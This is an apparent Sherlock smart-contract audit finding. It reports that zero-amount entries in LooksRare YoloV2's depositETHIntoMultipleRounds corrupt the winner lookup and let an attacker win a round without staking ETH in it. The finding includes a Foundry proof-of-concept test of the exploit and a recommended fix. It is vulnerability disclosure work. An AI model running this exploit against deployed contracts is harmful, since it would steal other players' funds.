Stale Zinc Osprey

high

# Attackers can win the round unfairly without dispositing ETH to the current round using `depositETHIntoMultipleRounds` function

## Summary
Attacker can win the round without depositing any ETH to the current and other players will have unfair opportunites

## Vulnerability Detail

Function [depositETHIntoMultipleRounds](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L312-L362) allows players to deposit ETH into multiple rounds

```javascript
    function depositETHIntoMultipleRounds(uint256[] calldata amounts) external payable nonReentrant whenNotPaused {
        uint256 numberOfRounds = amounts.length;
314     if (msg.value == 0 || numberOfRounds == 0) {
            revert ZeroDeposits();
        }

        [...]

        for (uint256 i; i < numberOfRounds; ++i) {
            uint256 roundId = _unsafeAdd(startingRoundId, i);
            Round storage round = rounds[roundId];
            uint256 roundValuePerEntry = round.valuePerEntry;
            if (roundValuePerEntry == 0) {
                (, , roundValuePerEntry) = _writeDataToRound({roundId: roundId, roundValue: 0});
            }

            _incrementUserDepositCount(roundId, round);

            uint256 depositAmount = amounts[i];
            if (depositAmount % roundValuePerEntry != 0) {
                revert InvalidValue();
            }
            uint256 entriesCount = _depositETH(round, roundId, roundValuePerEntry, depositAmount);
            expectedValue += depositAmount;

            entriesCounts[i] = entriesCount;
        }

        [...]
    }
```
At [L314](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L314), there is an input validation for the `msg.value` and length of the input parameter `amounts`. But this cannot prevent attackers from depositing 0 ETH to the current round or upcoming ones because there is no check for the `depositAmount` for individual round, i.e. the attacker can call this function with input parameter `amounts` as `[0, 0, 1 ether]`. And this function calls `_depositETH` function at [L341](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L341) and here the input parameter `depositAmount` for the function [_depositETH](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1417) can be zero.

```javascript
    function _depositETH(
        Round storage round,
        uint256 roundId,
        uint256 roundValuePerEntry,
        uint256 depositAmount
    ) private returns (uint256 entriesCount) {
1423    entriesCount = depositAmount / roundValuePerEntry;
        uint256 roundDepositCount = round.deposits.length;

        _validateOnePlayerCannotFillUpTheWholeRound(_unsafeAdd(roundDepositCount, 1), round.numberOfParticipants);

1428    uint40 currentEntryIndex = _getCurrentEntryIndexWithoutAccrual(round, roundDepositCount, entriesCount);
        [...]
    }
```
As we can see above at [L1423](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1423), if the depositAmount is zero, the `entriesCount` is zero and `currentEntryIndex` is not updated at [L1428](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1428).

```javascript
    function _getCurrentEntryIndexWithoutAccrual(
        Round storage round,
        uint256 roundDepositCount,
        uint256 entriesCount
    ) private view returns (uint40 currentEntryIndex) {
        if (roundDepositCount == 0) {
            currentEntryIndex = uint40(entriesCount);
        } else {
            currentEntryIndex = uint40(
1460            round.deposits[_unsafeSubtract(roundDepositCount, 1)].currentEntryIndex + entriesCount
            );
        }
    }
```
At [L1460], in case of `entriesCount` is zero, `currentEntryIndex` is not updated. 
At this breaks the assupmtion for the [findUpperBound](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/libraries/Arrays.sol#L20) function of [Arrays](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/libraries/Arrays.sol#L10) library. 
> The `findUpperBound` function expects its input, `array` to be sorted in 
> ascending order and to contain no repeated elements


Let's consider the following scenario.

- Current open round's `valuePerEntry` is `0.5 ether` and Alice deposits `0.5 ether` as the first one.
- Attacker deposits using `depositETHIntoMultipleRounds` function and the input parameter `amount` is `[0, 0.5 ether]`.
- Bob deposits `0.5 ether`.
- Again Attacker deposits using `depositETHIntoMultipleRounds` with the same input above.

And the round is going to be drawn and by using `randomWord` from VRF, the winner is going to be settled and the winner can claim the reward.
At this point, participants of this round is 3 and the `round.deposit` length is 4, the `entriesCount` is 3 and `currentEntryIndexArray` is `[1, 1, 3, 3]`(This is against the assumption of `findUpperBound` and will affect the process of settling the winner). The corresponding depositor for `currentEntryIndexArray` is as follows:
```javascript
1 => Alice
1 => Attacker
3 => Bob
3 => Attacker
```

Let's check the [fulfillRandomWords](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1270) function
```javascript
    function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
        if (randomnessRequests[requestId].exists) {
            uint256 roundId = randomnessRequests[requestId].roundId;
            Round storage round = rounds[roundId];

            if (round.status == RoundStatus.Drawing) {
                round.status = RoundStatus.Drawn;
                uint256 randomWord = randomWords[0];
                randomnessRequests[requestId].randomWord = randomWord;

                uint256 count = round.deposits.length;
                uint256[] memory currentEntryIndexArray = new uint256[](count);
                for (uint256 i; i < count; ++i) {
                    currentEntryIndexArray[i] = uint256(round.deposits[i].currentEntryIndex);
                }

                uint256 currentEntryIndex = currentEntryIndexArray[_unsafeSubtract(count, 1)];
                uint256 winningEntry = _unsafeAdd(randomWord % currentEntryIndex, 1);
1288            round.winner = round.deposits[currentEntryIndexArray.findUpperBound(winningEntry)].depositor;
                round.protocolFeeOwed = (round.valuePerEntry * currentEntryIndex * round.protocolFeeBp) / 10_000;

                emit RoundStatusUpdated(roundId, RoundStatus.Drawn);

                _startRound({_roundsCount: roundId});
            }
        }
    }
```

With the above scenario, `findUpperBound` function fails to return correct index because of the unexpected input and if the winning entry is 1 or 3 the winner should be Alice or Bob, but Attacker wins the round without depositing any ETH to the current round(We don't take account the actual deposit of 1 ether because it will be used in other rounds for fair play).

We can test it with the test file below
```javascript
contract ZeroDepositWin is TestHelpers {
    address public alice = address(16);
    address public attacker = address(17);
    address public bob = address(18);

    function setUp() public {
        _forkMainnet();
        _deployYolo();
        _subscribeYoloToVRF();
    }

    function attacker_amt() private pure returns (uint256[] memory amounts) {
        amounts = new uint256[](2);
        amounts[0] = 0 ether;
        amounts[1] = 0.5 ether;
    }

    function test_depositWithZeroAmountUsingBatchDeposit(uint256 randomWord) public {
        vm.deal(alice, 2 ether);
        vm.deal(attacker, 2 ether);
        vm.deal(bob, 2 ether);

        vm.startPrank(alice);
        yolo.deposit{value: 0.5 ether}(1, _emptyDepositsCalldata());

        IYoloV2.Deposit[] memory deposits = _getDeposits(1);
        assertEq(deposits.length, 1);

        IYoloV2.Deposit memory deposit = deposits[0];
        assertEq(uint8(deposit.tokenType), uint8(IYoloV2.YoloV2__TokenType.ETH));
        assertEq(deposit.tokenAmount, 0.5 ether);
        assertEq(deposit.depositor, alice);
        assertEq(deposit.currentEntryIndex, 1);

        vm.stopPrank();

        vm.startPrank(attacker);
        yolo.depositETHIntoMultipleRounds{value: 0.5 ether}(attacker_amt());

        deposits = _getDeposits(1);
        assertEq(deposits.length, 2);

        deposit = deposits[1];
        assertEq(uint8(deposit.tokenType), uint8(IYoloV2.YoloV2__TokenType.ETH));
        assertEq(deposit.tokenAmount, 0 ether);
        assertEq(deposit.depositor, attacker);
        assertEq(deposit.currentEntryIndex, 1);

        vm.stopPrank();

        vm.startPrank(bob);
        yolo.deposit{value: 1 ether}(1, _emptyDepositsCalldata());

        deposits = _getDeposits(1);
        assertEq(deposits.length, 3);

        deposit = deposits[2];
        assertEq(uint8(deposit.tokenType), uint8(IYoloV2.YoloV2__TokenType.ETH));
        assertEq(deposit.tokenAmount, 1 ether);
        assertEq(deposit.depositor, bob);
        assertEq(deposit.currentEntryIndex, 3);

        vm.stopPrank();

        vm.startPrank(attacker);
        yolo.depositETHIntoMultipleRounds{value: 0.5 ether}(attacker_amt());

        deposits = _getDeposits(1);
        assertEq(deposits.length, 4);

        deposit = deposits[3];
        assertEq(uint8(deposit.tokenType), uint8(IYoloV2.YoloV2__TokenType.ETH));
        assertEq(deposit.tokenAmount, 0 ether);
        assertEq(deposit.depositor, attacker);
        assertEq(deposit.currentEntryIndex, 3);

        vm.stopPrank();

        vm.prank(VRF_COORDINATOR);

        vm.assume(randomWord % 3 == 0 || randomWord % 3 == 2); // in this case the winning entry becomes 1 or 3 for alice and bob
        uint256[] memory randomWords = new uint256[](1);
        randomWords[0] = randomWord;

        vm.warp(block.timestamp + ROUND_DURATION);
        yolo.drawWinner();
        
        vm.prank(VRF_COORDINATOR);
        VRFConsumerBaseV2(yolo).rawFulfillRandomWords(FULFILL_RANDOM_WORDS_REQUEST_ID, randomWords);

        (
            IYoloV2.RoundStatus status, , , , , , address winner, , ,
        ) = yolo.getRound(1);
        assertEq(uint8(status), uint8(IYoloV2.RoundStatus.Drawn));
        assertEq(winner, attacker);
    }
}
```
As we can see, the attacker can win the round without depositing any ETH to the current round and this can be extended to any other upcoming rounds by calling `depositETHIntoMultipleRounds` with just increasing the length of `amounts` with zero values and one non zero value.
## Impact

Attacker can win the round without depositing any ETH to the current and other players will have unfair opportunites.

## Code Snippet

https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L312-L362

https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1417

https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1651


## Tool used

Manual Review

## Recommendation
Should check whether individual `depositAmount` is greater than zero in `depositETHIntoMultipleRounds` function.
```diff
        for (uint256 i; i < numberOfRounds; ++i) {
            uint256 roundId = _unsafeAdd(startingRoundId, i);
            Round storage round = rounds[roundId];
            uint256 roundValuePerEntry = round.valuePerEntry;
            if (roundValuePerEntry == 0) {
                (, , roundValuePerEntry) = _writeDataToRound({roundId: roundId, roundValue: 0});
            }

            _incrementUserDepositCount(roundId, round);

            uint256 depositAmount = amounts[i];
+           if (depositAmount == 0) {
+               revert ZeroDeposits();
+           }
            if (depositAmount % roundValuePerEntry != 0) {
                revert InvalidValue();
            }
            uint256 entriesCount = _depositETH(round, roundId, roundValuePerEntry, depositAmount);
            expectedValue += depositAmount;

            entriesCounts[i] = entriesCount;
        }
```